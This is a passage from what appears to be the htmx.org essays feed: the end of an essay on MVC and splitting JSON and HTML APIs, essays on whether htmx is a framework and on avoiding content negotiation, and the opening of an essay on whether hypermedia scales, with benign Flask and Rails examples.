<h3 id="fat-model-skinny-controller"><a class="zola-anchor" href="#fat-model-skinny-controller" aria-label="Anchor link for: fat-model-skinny-controller">#</a>Fat Model/Skinny Controller</h3>
<p>One concept that came up a lot in the Rails community was the notion of
<a rel="noopener" target="_blank" href="https://riptutorial.com/ruby-on-rails/example/9609/fat-model--skinny-controller">“Fat Model, Skinny Controller”</a>. The
idea here is that your Controllers should be relatively simple, only maybe invoking
a method or two on the Model and then immediately handing the result on to a View.</p>
<p>The Model, on the other hand, could be much “thicker” with lots of domain specific logic. (There are objections
that this leads to <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/God_object">God Objects</a>, but let’s set that aside for now.)</p>
<p>Let’s keep this idea of fat model/skinny controller in mind as we work through a simple example of the MVC pattern and
why it is useful.</p>
<h2 id="an-mvc-style-web-application"><a class="zola-anchor" href="#an-mvc-style-web-application" aria-label="Anchor link for: an-mvc-style-web-application">#</a>An MVC-Style Web Application</h2>
<p>For our example, let’s take a look at one of my favorites: an online Contacts application. Here is a Controller method
for that application that displays a given page of Contacts by generating an HTML page:</p>
<pre data-lang="python" style="background-color:#1f2329;color:#abb2bf;" class="language-python "><code class="language-python" data-lang="python"><span>@app.</span><span style="color:#e06c75;">route</span><span>(</span><span style="color:#98c379;">"/contacts"</span><span>)
</span><span style="color:#c678dd;">def </span><span style="color:#61afef;">contacts</span><span>():
</span><span> contacts = Contact.</span><span style="color:#e06c75;">all</span><span>(</span><span style="color:#e06c75;">page</span><span>=request.args.</span><span style="color:#e06c75;">get</span><span>(</span><span style="color:#98c379;">'page'</span><span>, </span><span style="color:#e06c75;">default</span><span>=</span><span style="color:#d19a66;">0</span><span>, </span><span style="color:#e06c75;">type</span><span>=int))
</span><span> </span><span style="color:#c678dd;">return </span><span style="color:#e06c75;">render_template</span><span>(</span><span style="color:#98c379;">"index.html"</span><span>, </span><span style="color:#e06c75;">contacts</span><span>=contacts)
</span></code></pre>
<p>Here I’m using <a rel="noopener" target="_blank" href="https://www.python.org/">Python</a> and <a rel="noopener" target="_blank" href="https://flask.palletsprojects.com/en/3.0.x/">Flask</a>, since I use
those in my <a rel="noopener" target="_blank" href="https://hypermedia.systems/">Hypermedia Systems</a> book.</p>
<p>Here you can see that the controller is very “thin”: it simply looks up contacts via the <code>Contact</code> Model object, passing
a <code>page</code> argument in from the request.</p>
<p>This is very typical: the Controllers job is to map an HTTP request into some domain logic, pulling HTTP-specific
information out and turning it into data that the Model can understand, such as a page number.</p>
<p>The controller then hands the paged collection of contacts on to the <code>index.html</code> template, to render them to
an HTML page to send back to the user.</p>
<p>Now, the <code>Contact</code> Model, on the other hand, may be relatively “fat” internally: that <code>all()</code> method could have a bunch
of domain logic internally that does a database lookup, pages the data somehow, maybe applies some transformations or
business rules, etc. And that would be fine, that logic is encapsulated within the Contact model and the Controller
doesn’t have to deal with it.</p>
<h3 id="creating-a-json-data-api-controller"><a class="zola-anchor" href="#creating-a-json-data-api-controller" aria-label="Anchor link for: creating-a-json-data-api-controller">#</a>Creating A JSON Data API Controller</h3>
<p>So, if we have this relatively well-developed Contact model that encapsulates our domain, you can easily create a
<em>different</em> API end point/Controller that does something similar, but returns a JSON document rather than an HTML
document:</p>
<pre data-lang="python" style="background-color:#1f2329;color:#abb2bf;" class="language-python "><code class="language-python" data-lang="python"><span>@app.</span><span style="color:#e06c75;">route</span><span>(</span><span style="color:#98c379;">"/api/v1/contacts"</span><span>)
</span><span style="color:#c678dd;">def </span><span style="color:#61afef;">contacts</span><span>():
</span><span> contacts = Contact.</span><span style="color:#e06c75;">all</span><span>(</span><span style="color:#e06c75;">page</span><span>=request.args.</span><span style="color:#e06c75;">get</span><span>(</span><span style="color:#98c379;">'page'</span><span>, </span><span style="color:#e06c75;">default</span><span>=</span><span style="color:#d19a66;">0</span><span>, </span><span style="color:#e06c75;">type</span><span>=int))
</span><span> </span><span style="color:#c678dd;">return </span><span style="color:#e06c75;">jsonify</span><span>(</span><span style="color:#e06c75;">contacts</span><span>=contacts)
</span></code></pre>
<h3 id="but-you-are-duplicating-code"><a class="zola-anchor" href="#but-you-are-duplicating-code" aria-label="Anchor link for: but-you-are-duplicating-code">#</a>But You Are Duplicating Code!</h3>
<p>At this point, looking at these two controller functions, you may think “This is stupid, the methods are nearly identical”.</p>
<p>And you’re right, currently they are nearly identical.</p>
<p>But let’s consider two potential additions to our system.</p>
<h4 id="rate-limiting-our-json-api"><a class="zola-anchor" href="#rate-limiting-our-json-api" aria-label="Anchor link for: rate-limiting-our-json-api">#</a>Rate Limiting Our JSON API</h4>
<p>First, let’s add rate limiting to the JSON API to prevent DDOS or badly written automated clients from swamping our
system. We’ll add the <a rel="noopener" target="_blank" href="https://flask-limiter.readthedocs.io/en/stable/">Flask-Limiter</a> library:</p>
<pre data-lang="python" style="background-color:#1f2329;color:#abb2bf;" class="language-python "><code class="language-python" data-lang="python"><span>@app.</span><span style="color:#e06c75;">route</span><span>(</span><span style="color:#98c379;">"/api/v1/contacts"</span><span>)
</span><span>@limiter.</span><span style="color:#e06c75;">limit</span><span>(</span><span style="color:#98c379;">"1 per second"</span><span>)
</span><span style="color:#c678dd;">def </span><span style="color:#61afef;">contacts</span><span>():
</span><span> contacts = Contact.</span><span style="color:#e06c75;">all</span><span>(</span><span style="color:#e06c75;">page</span><span>=request.args.</span><span style="color:#e06c75;">get</span><span>(</span><span style="color:#98c379;">'page'</span><span>, </span><span style="color:#e06c75;">default</span><span>=</span><span style="color:#d19a66;">0</span><span>, </span><span style="color:#e06c75;">type</span><span>=int))
</span><span> </span><span style="color:#c678dd;">return </span><span style="color:#e06c75;">jsonify</span><span>(</span><span style="color:#e06c75;">contacts</span><span>=contacts)
</span></code></pre>
<p>Easy.</p>
<p>But note: we don’t want that limit applying to our web application, we just want it for our JSON Data API. And, because
we’ve split the two up, we can achieve that.</p>
<h4 id="adding-a-graph-to-our-web-application"><a class="zola-anchor" href="#adding-a-graph-to-our-web-application" aria-label="Anchor link for: adding-a-graph-to-our-web-application">#</a>Adding A Graph To Our Web Application</h4>
<p>Let’s consider another change: we want to add a graph of the number of contacts added per day to the <code>index.html</code>
template in our HTML-based web application. It turns out that this graph is expensive to compute.</p>
<p>We do not want to block the rendering of the <code>index.html</code> template on the graph generation, so we will use the
<a href="https://htmx.org/examples/lazy-load/">Lazy Loading</a> pattern for it instead. To do this, we need to create a new endpoint, <code>/graph</code>,
that returns the HTML for that lazily loaded content:</p>
<pre data-lang="python" style="background-color:#1f2329;color:#abb2bf;" class="language-python "><code class="language-python" data-lang="python"><span>@app.</span><span style="color:#e06c75;">route</span><span>(</span><span style="color:#98c379;">"/graph"</span><span>)
</span><span style="color:#c678dd;">def </span><span style="color:#61afef;">graph</span><span>():
</span><span> graphInfo = Contact.</span><span style="color:#e06c75;">computeGraphInfo</span><span>(</span><span style="color:#e06c75;">page</span><span>=request.args.</span><span style="color:#e06c75;">get</span><span>(</span><span style="color:#98c379;">'page'</span><span>, </span><span style="color:#e06c75;">default</span><span>=</span><span style="color:#d19a66;">0</span><span>, </span><span style="color:#e06c75;">type</span><span>=int))
</span><span> </span><span style="color:#c678dd;">return </span><span style="color:#e06c75;">render_template</span><span>(</span><span style="color:#98c379;">"graph.html"</span><span>, </span><span style="color:#e06c75;">info</span><span>=graphInfo)
</span></code></pre>
<p>Note that here, again, our controller is still “thin”: it just delegates out to the Model and then hands the results on
to a View.</p>
<p>What’s easy to miss is that we’ve added a new endpoint to our web application HTML API, but <em>we haven’t added it to
our JSON Data API</em>. So we are <strong>not</strong> committing to other non-web clients that this (specialized) endpoint, which
is being driven entirely by our UI needs, will be around forever.</p>
<p>Since we are not committing to <em>all</em> clients that this data will be available at <code>/graph</code> forever, and since we
are using <a href="https://htmx.org/essays/hateoas/">Hypermedia As The Engine of Application State</a> in our HTML-based web application, we are free to remove
or refactor this URL later on.</p>
<p>Perhaps some database optimization suddenly make the graph fast to compute and we can include it inline in the
response to <code>/contacts</code>: we can remove this end point because we have not exposed it to other clients, it’s just there
to support our web application.</p>
<p>So, we get the <a href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">flexibility we want</a> for our hypermedia API, and the
<a href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">features</a> we want for our JSON Data API.</p>
<p>The most important thing to notice, in terms of MVC, is that because our domain logic has been collected in a Model,
we can vary these two APIs flexibly while still achieving a significant amount of code reuse. Yes, there was a lot
of initial similarity to the JSON and HTML controllers, but they diverged over time.</p>
<p>At the same time, we didn’t
duplicate our Model logic: both controllers remained relatively “thin” and delegated out to our Model object to do
most of the work.</p>
<p>Our two APIs are decoupled, while our domain logic remains centralized.</p>
<p>(Note that this also gets at <a href="https://htmx.org/essays/why-tend-not-to-use-content-negotiation/">why I tend not to use content negotiation</a> and return HTML & JSON from the same endpoint.)</p>
<h2 id="mvc-frameworks"><a class="zola-anchor" href="#mvc-frameworks" aria-label="Anchor link for: mvc-frameworks">#</a>MVC Frameworks</h2>
<p>Many older web frameworks such as <a rel="noopener" target="_blank" href="https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/mvc.html">Spring</a>,
<a rel="noopener" target="_blank" href="https://dotnet.microsoft.com/en-us/apps/aspnet/mvc">ASP.NET</a>, Rails have very strong MVC concepts that allow you to split
your logic out in this manner extremely effectively.</p>
<p>Django has a variation on the idea called <a rel="noopener" target="_blank" href="https://www.askpython.com/django/django-mvt-architecture">MVT</a>.</p>
<p>This strong support for MVC is one reason why these frameworks pair very well with htmx and those communities are excited
about it.</p>
<p>And, while the examples above are obviously biased towards <a rel="noopener" target="_blank" href="https://www.azquotes.com/picture-quotes/quote-object-oriented-programming-is-an-exceptionally-bad-idea-which-could-only-have-originated-edsger-dijkstra-7-85-25.jpg">Object-Oriented</a>
programming, the same ideas can be applied in a functional context as well.</p>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>I hope that, if it is new to you, that gives you to a good feel for the concept of MVC and shows how that, by adopting that
organizational principle in your web applications, you can effectively decouple your APIs while at the same time avoiding
significant duplication of code.</p>
Is htmx Just Another JavaScript Framework?2024-01-10T00:00:00+00:002024-01-10T00:00:00+00:00Unknownhttps://htmx.org/essays/is-htmx-another-javascript-framework/<p>One of the most common criticisms of htmx, usually from people hearing about it for the first time, goes like this:</p>
<blockquote>
<p>You’re complaining about the complexity of modern frontend frameworks, but your solution is just another complex frontend framework.</p>
</blockquote>
<p>This is an excellent objection! It’s the right question to ask about <em>any</em> third-party (3P) code that you introduce into your project. Even though you aren’t writing the 3P code yourself, by including it in your project you are committed to understanding it—and refreshing that understanding if you want to upgrade it. That’s a big commitment.</p>
<p>Let’s break this criticism down into its constituent parts, and determine exactly how much htmx indulges in the harms it claims to solve.</p>
<h2 id="the-difference-between-a-library-and-a-framework"><a class="zola-anchor" href="#the-difference-between-a-library-and-a-framework" aria-label="Anchor link for: the-difference-between-a-library-and-a-framework">#</a>The difference between a library and a framework</h2>
<p>Some htmx defenders jump to our aid with: “htmx isn’t a framework, it’s a library.” This is probably incorrect.</p>
<p>“Framework” is a colloquial term—there’s no hard rule for the point at which some third-party code evolves from a “library” into a “framework”—but we should still try to define it. In this context:</p>
<ul>
<li><strong>Library</strong> - 3P code whose API does not significantly influence the rest of the application</li>
<li><strong>Framework</strong> - 3P code whose API dictates the overall structure of the application</li>
</ul>
<p>If you prefer metaphors: a library is a cog that you add to your machine, a framework is a pre-built machine that you control by customizing its cogs.</p>
<p>This distinction, fuzzy though it may be, is important because it describes how easily some third-party code can be replaced. For example, a JavaScript service that uses a CSV parsing library can probably swap in a different CSV parsing library without too much trouble; a JavaScript service that uses the NextJS framework, however, is probably going to depend on NextJS for its entire useful life, since an enormous chunk of the code is written with the assumption that it is interacting with NextJS constructs.</p>
<p>Therefore, if your service is built atop a framework, its useful lifespan is tied to the useful lifespan of that framework. If that framework is abandoned, or despised, or otherwise undesirable to work on, the difficulty of modifying your project will steadily increase until you give up modifying it, and eventually, mothball it altogether.</p>
<p>That’s what people are worried about when they ask is “is htmx just another JavaScript framework?” They want to be sure that they’re not committing to a system that will be obsolete soon, like so many of the past web development frameworks.</p>
<p>So: is htmx a framework? And is it going to be fast made obsolete, leaving a trail of un-maintainable websites in the wake of its meteoric demise?</p>
<h2 id="htmx-is-usually-a-framework"><a class="zola-anchor" href="#htmx-is-usually-a-framework" aria-label="Anchor link for: htmx-is-usually-a-framework">#</a>htmx is (usually) a framework</h2>
<p>With apologies to our community’s ongoing debate about this question—I think htmx is pretty clearly a framework, at least in the majority use-case. But it does depend on how you use it.</p>
<p>Wherever you make use of htmx in your project, you’re including htmx attributes in your HTML (i.e. <code>hx-post</code>, <code>hx-target</code>), writing endpoints that are called with htmx-formatted data (with certain request headers), and returning data from those endpoints that is formatted in ways that htmx expects (HTML with <code>hx-*</code> controls). All of these attributes and headers and endpoints interact with each other to create a system by which elements enter and exit the DOM via network request.</p>
<p>If you use htmx to handle a non-trivial number of your website’s network requests, then the inclusion of htmx in your application has significant implications for the project’s structure, from the way you structure your frontend markup, to the database queries your endpoints make. That is framework-like behavior, and in that scenario, htmx cannot be trivially replaced.</p>
<p>You can definitely use htmx in a library-like manner, to add dynamic functionality to just a few sections of your web page. But you can write <a rel="noopener" target="_blank" href="https://www.patterns.dev/vanilla/islands-architecture">React in this library-like manner too</a> and nobody argues that React isn’t a framework. Suffice to say that many people who use htmx in their applications are doing so in a way that bends to the demands of htmx, as a framework for building hypermedia applications.</p>
<p>As they should! Building with htmx works a lot better if you play to its strengths. You can send JSON-formatted form bodies, <a href="https://htmx.org/extensions/json-enc/">if you really insist</a>. But you shouldn’t! It’s simpler to just use <code>application/x-www-form-urlencoded</code> bodies, and write an endpoint that accepts them. You can write an endpoint that is re-used across multiple different clients, <a href="https://htmx.org/essays/why-tend-not-to-use-content-negotiation/">if you really insist</a>. But you shouldn’t! It’s simpler to <a href="https://htmx.org/essays/splitting-your-apis/">split your data and your hypermedia APIs into separate URLs</a>. Yes, htmx can be used as a library, but maybe let it be your framework too.</p>
<p>That does not mean, however, that htmx is Just Another JavaScript Framework, because htmx has a huge advantage that the other frameworks do not: HTML.</p>
<h2 id="htmx-is-for-writing-html"><a class="zola-anchor" href="#htmx-is-for-writing-html" aria-label="Anchor link for: htmx-is-for-writing-html">#</a>htmx is for writing HTML</h2>
<p>Let’s say you’re using htmx as a framework—is it a <em>JavaScript</em> framework? In one obvious sense, yes: htmx is implemented with ~4k lines of JS. But in another, much more important sense, it is not: React, Svelte, Solid, and so on have you write JS(X) that the framework converts into HTML; htmx just has you write HTML. This removes entire categories of maintenance that might make you abandon other frameworks with time.</p>
<p>Codebases tend to get stuck when you want to upgrade or change some dependency, but the framework you use is incompatible with that change. Java is the most notorious offender here—there are untold millions of lines of Java in production that will never leave Java 8 because upgrading Spring is too hard—but the npm package ecosystem is a close second. When you use the htmx “framework” you will never have this problem, because htmx is a <a href="https://htmx.org/essays/no-build-step/">zero-dependency, client-loaded JavaScript file</a>, so it is guaranteed to never conflict with whatever build process or dependency chain your server <em>does</em> depend on.</p>
<p>Browsers render HTML, so no compiler or transpiler is ever necessary to work with htmx. While many htmx users happily render API responses with JSX, htmx works very well with <a rel="noopener" target="_blank" href="https://jinja.palletsprojects.com">classic</a> <a rel="noopener" target="_blank" href="https://ejs.co/">template</a> <a rel="noopener" target="_blank" href="https://docs.ruby-lang.org/en/2.3.0/ERB.html">engines</a>, making it portable to <a href="https://htmx.org/essays/hypermedia-on-whatever-youd-like/">whatever language you like</a>. Say what you will about Django and Rails, but they were relevant in 2008 and they’re relevant today—htmx integrates seamlessly with them both. This is a recurring theme with htmx-driven development: htmx works well with development tools old and new, because the common denominator in all these tools is HTML, and htmx is for writing HTML.</p>
<div style="text-align:center; width:100%">
<img width=500
src="/img/memes/htmxanddjango.png"
alt="A monkey labeled 'HTMX' protecting a cute dog named 'Django' from 'all that compilated JS noise'"
>
</div>
<p>Pushing the user to define the behavior of their application primarily in HTML, rather than JS, has too many advantages to cover in this essay, so I’ll stick to the one people hate most about JavaScript fameworks: churn. Depending on when you wrote your React application, you might have written your form with <a rel="noopener" target="_blank" href="https://legacy.reactjs.org/docs/forms.html">controlled class components</a>, or <a rel="noopener" target="_blank" href="https://blog.logrocket.com/react-hook-form-complete-guide/">react hooks</a>, or this <a rel="noopener" target="_blank" href="https://react.dev/reference/react-dom/components/form">experimental <code><form></code> extension</a>. This is genuinely maddening, especially if you—like me—first learned how to make a web form with class components.</p>
<p>No matter when you wrote your htmx application, however, the behavior of an htmx form has always been defined in largely the same way a regular HTML form is: with <code><form></code>. With htmx adding additional network functionality, you can finally use <code>PUT</code> requests and control where the response goes, but in all other respects—validation, inputs, labels, autocomplete—you have default <code><form></code> element behavior.</p>
<p>Finally, because htmx simply extends HTML in a very narrow domain (network requests and DOM replacements), most of the “htmx” you write is just plain old HTML. When you have access to complex state management mechanisms, it’s incredibly easy to implement a custom collapsible div; when you don’t, you might stop long enough to search up the <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details"><code><details></code></a> element. Whenever a problem can be solved by native HTML elements, the longevity of the code improves tremendously as a result. This is a much less alienating way to learn web development, because the bulk of your knowledge will remain relevant as long as HTML does.</p>
<p>In this respect, htmx is much more like JQuery than React (htmx’s predecessor, <a rel="noopener" target="_blank" href="https://intercoolerjs.org/">intercooler.js</a>, was a JQuery extension), but it improves on JQuery by using a declarative, HTML-based interface: where JQuery made you go to the <code><script></code> tag to specify AJAX behavior, htmx requires only a simple <code>hx-post</code> attribute.</p>
<p>In short, while htmx can be used as a framework, it’s a framework that <a rel="noopener" target="_blank" href="https://unplannedobsolescence.com/blog/custom-html-has-levels">deviates far less from the web’s semantics</a> than the JavaScript frameworks do, and will benefit from improvements in those semantics with no additional work from the user, thanks to the web’s <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards#dont_break_the_web">excellent backwards compatibility guarantees</a>. If you want to build a website that lasts for a long time, these qualities make htmx a substantially better bet than many of its contemporaries.</p>
<p><em>NOTE: Despite agreeing with this analysis, finding no logical flaws in the essay, and allowing me to publish it on his website, Carson continues to insist that htmx is a library.</em></p>
<div style="text-align:center; width:100%">
<img width=500
src="/img/memes/istudiedhtml.png"
alt="A man holding a sword. He says: 'When you wrote class components, I studied HTML. When you were converting classes to hooks, I mastered the HTML. While you wasted time moving all your client-side logic to server components, I cultivated inner HTML. And now that the browser won't hydrate your thick client JSON API you have the audactiy to come to me for help?'"
>
</div>
Why I Tend Not To Use Content Negotiation2023-11-18T00:00:00+00:002023-11-18T00:00:00+00:00Unknownhttps://htmx.org/essays/why-tend-not-to-use-content-negotiation/<p>I have written a lot about Hypermedia APIs vs. Data (JSON) APIs, including <a href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">the differences between the two</a>,
what <a href="https://htmx.org/essays/how-did-rest-come-to-mean-the-opposite-of-rest/">REST “really” means</a> and why <a href="https://htmx.org/essays/hateoas/">HATEOAS</a>
isn’t so bad as long as your API is interacting with a <a href="https://htmx.org/essays/hypermedia-clients/">Hypermedia Client</a>.</p>
<p>Often when I am engaged in discussions with people coming from the “REST is JSON over HTTP” world (that is, the normal
world) I have to navigate a lot of language and conceptual issues:</p>
<ul>
<li>No, I am not advocating you return HTML as a general purpose API, hypermedia makes for a bad general purpose API </li>
<li>Yes, I am advocating <a href="https://htmx.org/essays/two-approaches-to-decoupling/">tightly coupling</a> your web application to your hypermedia API</li>
<li>No, I do not think that we will ever fix how the industry <a href="https://htmx.org/essays/how-did-rest-come-to-mean-the-opposite-of-rest/">uses the term REST</a></li>
<li>Yes, I am advocating you <a href="https://htmx.org/essays/splitting-your-apis/">split your data API and your hypermedia API up</a></li>
</ul>
<p>The last point often strikes people who are used to a single, general purpose JSON API as dumb: why have two APIs when you
can have a single API that can satisfy any number of types of clients? I tried to answer that question as best I can in the essay
above, but it is certainly a reasonable one to ask.</p>
<p>It seems like (and it is) extra work in some ways when compared to having one general API.</p>
<p>At this point in a conversation, someone who agrees broadly with my take on REST, <a href="https://htmx.org/essays/hypermedia-driven-applications/">Hypermedia-Driven Applications</a>,
etc. will often jump in and say something like</p>
<blockquote>
<p>“Oh, it’s easy, you just use <em>content negotiation</em>, it’s baked into HTTP!”</p>
</blockquote>
<p>Not being content with alienating only the general purpose JSON API enthusiasts, let me now proceed to also alienate
my erstwhile hypermedia enthusiast allies by saying: </p>
<p><em>I don’t think content negotiation is typically the right approach to
returning both JSON and HTML for most applications.</em></p>
<h2 id="what-is-content-negotiation"><a class="zola-anchor" href="#what-is-content-negotiation" aria-label="Anchor link for: what-is-content-negotiation">#</a>What Is Content Negotiation?</h2>
<p>First things first, what is “content negotiation”?</p>
<p><a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation">Content negotiation</a> is a feature of HTTP that
allows a client to negotiate the content type of the response from a server. A full treatment of the implementation
in HTTP is beyond the scope of this essay, but let us consider the most well known mechanism for content negotiation
in HTTP, the <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation#the_accept_header"><code>Accept</code> Request Header</a>.</p>
<p>The <code>Accept</code> request header allows a client, such as a browser, to indicate the <code>MIME</code> types that it is willing to accept
from the server in a response.</p>
<p>An example value of this header is:</p>
<pre data-lang="http request" style="background-color:#1f2329;color:#abb2bf;" class="language-http request "><code class="language-http request" data-lang="http request"><span>Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
</span></code></pre>
<p>This <code>Accept</code> header tells the server what formats the client is willing to accept. Preferences are expressed via the
<code>q</code> weighting factor. Wildcards are expressed with asterisks <code>*</code>.</p>
<p>In this case, the client is saying:</p>
<blockquote>
<p>I would most like to receive text/html, application/xhtml+xml or image/webp. Next I would prefer application/xml. Finally, I will accept whatever you give me.</p>
</blockquote>
<p>The server then can take this information and determine the best content type to provide to the client.</p>
<p>This is the act of “content negotiation” and it is certainly an interesting feature of HTTP.</p>
<h2 id="using-content-negotiation-in-apis"><a class="zola-anchor" href="#using-content-negotiation-in-apis" aria-label="Anchor link for: using-content-negotiation-in-apis">#</a>Using Content Negotiation In APIs</h2>
<p>As far as I am aware, it was the <a rel="noopener" target="_blank" href="https://rubyonrails.org/">Ruby On Rails</a> community that first went in in a big way
using content negotiation to provide both HTML and JSON (and other) formats from the same URL.</p>
<p>In Rails, this is accomplished via the <a rel="noopener" target="_blank" href="https://apidock.com/rails/ActionController/MimeResponds/respond_to"><code>respond_to</code></a> helper method available in
controllers.</p>
<p>Leaving the gory details of Rails aside, you might have a request like an HTTP <code>GET</code> to <code>/contacts</code> that ends up invoking
a function in a <code>ContactsController</code> class that looks like this:</p>
<pre data-lang="ruby" style="background-color:#1f2329;color:#abb2bf;" class="language-ruby "><code class="language-ruby" data-lang="ruby"><span style="color:#c678dd;">def </span><span style="color:#61afef;">index
</span><span> </span><span style="color:#e06c75;">@contacts </span><span>= </span><span style="color:#e5c07b;">Contacts</span><span>.all
</span><span>
</span><span> respond_to </span><span style="color:#c678dd;">do </span><span>|</span><span style="color:#e06c75;">format</span><span>|
</span><span> </span><span style="color:#56b6c2;">format</span><span>.html </span><span style="font-style:italic;color:#848da1;"># default rendering logic
</span><span> </span><span style="color:#56b6c2;">format</span><span>.json { render </span><span style="color:#98c379;">json: </span><span style="color:#e06c75;">@contacts </span><span>}
</span><span> </span><span style="color:#c678dd;">end
</span><span style="color:#c678dd;">end
</span></code></pre>
<p>By making use of the <code>respond_to</code> helper method, if a client makes a request with the <code>Accept</code> header above, the controller
will render an HTML response using the Rails templating systems.</p>
<p>However, if the <code>Accept</code> header from the client has the value <code>application/json</code> instead, Rails will render the contacts
as a JSON array for the client.</p>
<p>A pretty neat trick: you can keep all your controller logic, like looking up the contacts, the same and just use a
bit of ruby/Rails magic to render two different response types using content negotiation. Barely any additional work on
top of the normal Model/View/Controller logic.</p>
<p>You can see why people like the idea!</p>
<h2 id="so-what-s-the-problem"><a class="zola-anchor" href="#so-what-s-the-problem" aria-label="Anchor link for: so-what-s-the-problem">#</a>So What’s The Problem?</h2>
<p>So why don’t I think this is a good approach to splitting your JSON and HTML APIs up?</p>
<p>It boils down to the <a href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">differences between JSON APIs and Hypermedia (HTML) APIs</a> I hinted
at earlier. In particular:</p>
<ul>
<li>Data APIs should be versioned and should be very stable within a particular version of the API</li>
<li>Data APIs should strive for both regularity and expressiveness due to the arbitrary data needs of consumers</li>
<li>Data APIs typically use some sort of token-based authentication</li>
<li>Data APIs should be rate limited</li>
<li>Hypermedia APIs typically use some sort of session-cookie based authentication</li>
<li>Hypermedia APIs should be driven by the needs of the underlying hypermedia application</li>
</ul>
<p>While all of these differences matter and have an effect on your controller code, pulling it in two different directions,
it is really the first and last items that make me often choose not to use content negotiation in my applications.</p>
<p>Your JSON API needs to be a stable set of endpoint that client code can rely on.</p>
<p>Your hypermedia API, on the other hand, can change dramatically based on the user interface needs of your applications.</p>
<p>These two things don’t mix well.</p>
<p>To give you a concrete example, consider an end point that renders a detail view of a contact, at, say <code>/contacts/:id</code>
(where <code>:id</code> is a parameter containing the id of the contact to render). Let’s say that this page has a “related contacts”
section of the UI and, further, computing these related contacts is expensive for some reason.</p>
<p>In this situation you might choose to use the <a rel="noopener" target="_blank" href="https://htmx.org/examples/lazy-load/">Lazy Loading</a> pattern to defer
loading the related contacts until after the initial contact detail screen has been rendered. This improves perceived
performance of the page for your users.</p>
<p>If you did this, you might put the lazy loaded content at the end-point <code>/contacts/:id/related</code>.</p>
<p>Now, later on, maybe you are able to optimize the computation of related contacts. At this point you might choose to
rip the <code>/contacts/:id/related</code> end-point out and just render the related contacts information in the initial page render.</p>
<p>All of this is fine for your hypermedia API: hypermedia, through <a href="https://htmx.org/essays/hateoas/">the uniform interface & HATEOAS</a>
is <em>designed</em> to handle these sorts of changes.</p>
<p>However, your JSON API… not so much.</p>
<p>Your JSON API should remain stable. You can’t be adding and removing end-points
willy-nilly. Yes, you can have <em>some</em> end-points respond with either JSON or HTML and others only respond with HTML, but
it gets messy. What if you accidentally copy-and-paste in the wrong code somewhere, for example.</p>
<p>Taking all of this into account, as well as things like rate-limiting and so on, I think you can make a strong argument
that there should be a <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Separation_of_concerns">Separation Of Concerns</a> between the JSON
API and the hypermedia API.</p>
<p>(Yes, I am aware of the irony that the person who coined the term <a href="https://htmx.org/essays/locality-of-behaviour/">Locality of Behaviour</a>
is making a SoC argument.)</p>
<h2 id="so-what-s-the-alternative"><a class="zola-anchor" href="#so-what-s-the-alternative" aria-label="Anchor link for: so-what-s-the-alternative">#</a>So What’s The Alternative?</h2>
<p>The alternative is, as I advocate in <a href="https://htmx.org/essays/splitting-your-apis/">Splitting Your APIs</a>, er, well, splitting your
APIs. This means providing different paths (or sub-domains, or whatever) for your JSON API and your hypermedia (HTML)
API.</p>
<p>Going back to our contacts API, we might have the following:</p>
<ul>
<li>The JSON API to get all contacts is found at <code>/api/v1/contacts</code></li>
<li>The Hypermedia API to get all contacts is found at <code>/contacts</code></li>
</ul>
<p>This layout implies two different controllers and, I say, that’s a good thing: the JSON API controller can implement the
requirements of a JSON API: rate limiting, stability, maybe an expressive query mechanism like GraphQL.</p>
<p>Meanwhile, your
hypermedia API (really, just your Hypermedia Driven Application endpoints) can change dramatically as your user interface
needs change, with highly tuned database queries, end-points to support special UI needs, etc.</p>
<p>By separating these two concerns, your JSON API can be stable, regular and low-maintenance, and your hypermedia API can
be chaotic, specialized and flexible. Each gets its own controller environment to thrive in, without conflicting with
one another.</p>
<p>And this is why I prefer to split my JSON and hypermedia APIs up into separate controllers, rather than use HTTP content
negotiation to attempt to reuse controllers for both.</p>
Does Hypermedia Scale?2023-11-06T00:00:00+00:002023-11-06T00:00:00+00:00Unknownhttps://htmx.org/essays/does-hypermedia-scale/<p>One objection that we sometimes hear to htmx and hypermedia is some variation of the following:</p>
<blockquote>
<p>Well, it might work well for something small, but it won’t scale.</p>
</blockquote>
<p>It is always dangerous to provoke us with essay-fodder and so lets dig into this claim a bit and see if we can
shed some light on whether <a href="https://htmx.org/essays/hypermedia-driven-applications/">Hypermedia-Driven Applications</a> (HDAs) can scale.</p>
<h2 id="scaling"><a class="zola-anchor" href="#scaling" aria-label="Anchor link for: scaling">#</a>Scaling</h2>
<p>First of all, let’s define the term “scaling” and then the contexts that word can be used in development. In a software
context, scaling typically means the ability of the software to handle “larger” things. Those things can be:</p>
<ul>
<li>More nodes in a general <a rel="noopener" target="_blank" href="https://hypermedia.systems">system</a></li>
<li>More user requests (scaling your individual applications performance)</li>
<li>More features (scaling your codebase) </li>
<li>More <em>complex</em> features </li>
<li>More developers (scaling your team size)</li>
</ul>
<p>Each of these sense of the word “scaling” demand their own analysis with respect to HDAs.</p>
<h2 id="scaling-nodes-in-general"><a class="zola-anchor" href="#scaling-nodes-in-general" aria-label="Anchor link for: scaling-nodes-in-general">#</a>Scaling Nodes In General</h2>
<p>Although this isn’t of much interest to individual developers making decisions about their own applications, it is worth
stating that The Web has scaled <em>incredibly well</em> as a distributed networking system. It is the most successful
distributed system that I am aware of, in any event.</p>
<p>This is not necessarily of interest to an <em>individual</em> application developer, but it sets the proper tone: hypermedia
can scale.</p>
<h2 id="scaling-application-performance"><a class="zola-anchor" href="#scaling-application-performance" aria-label="Anchor link for: scaling-application-performance">#</a>Scaling Application Performance</h2>
<p>Does hypermedia scale well with <em>performance</em>? To answer this question, lets first look at some of the characteristics
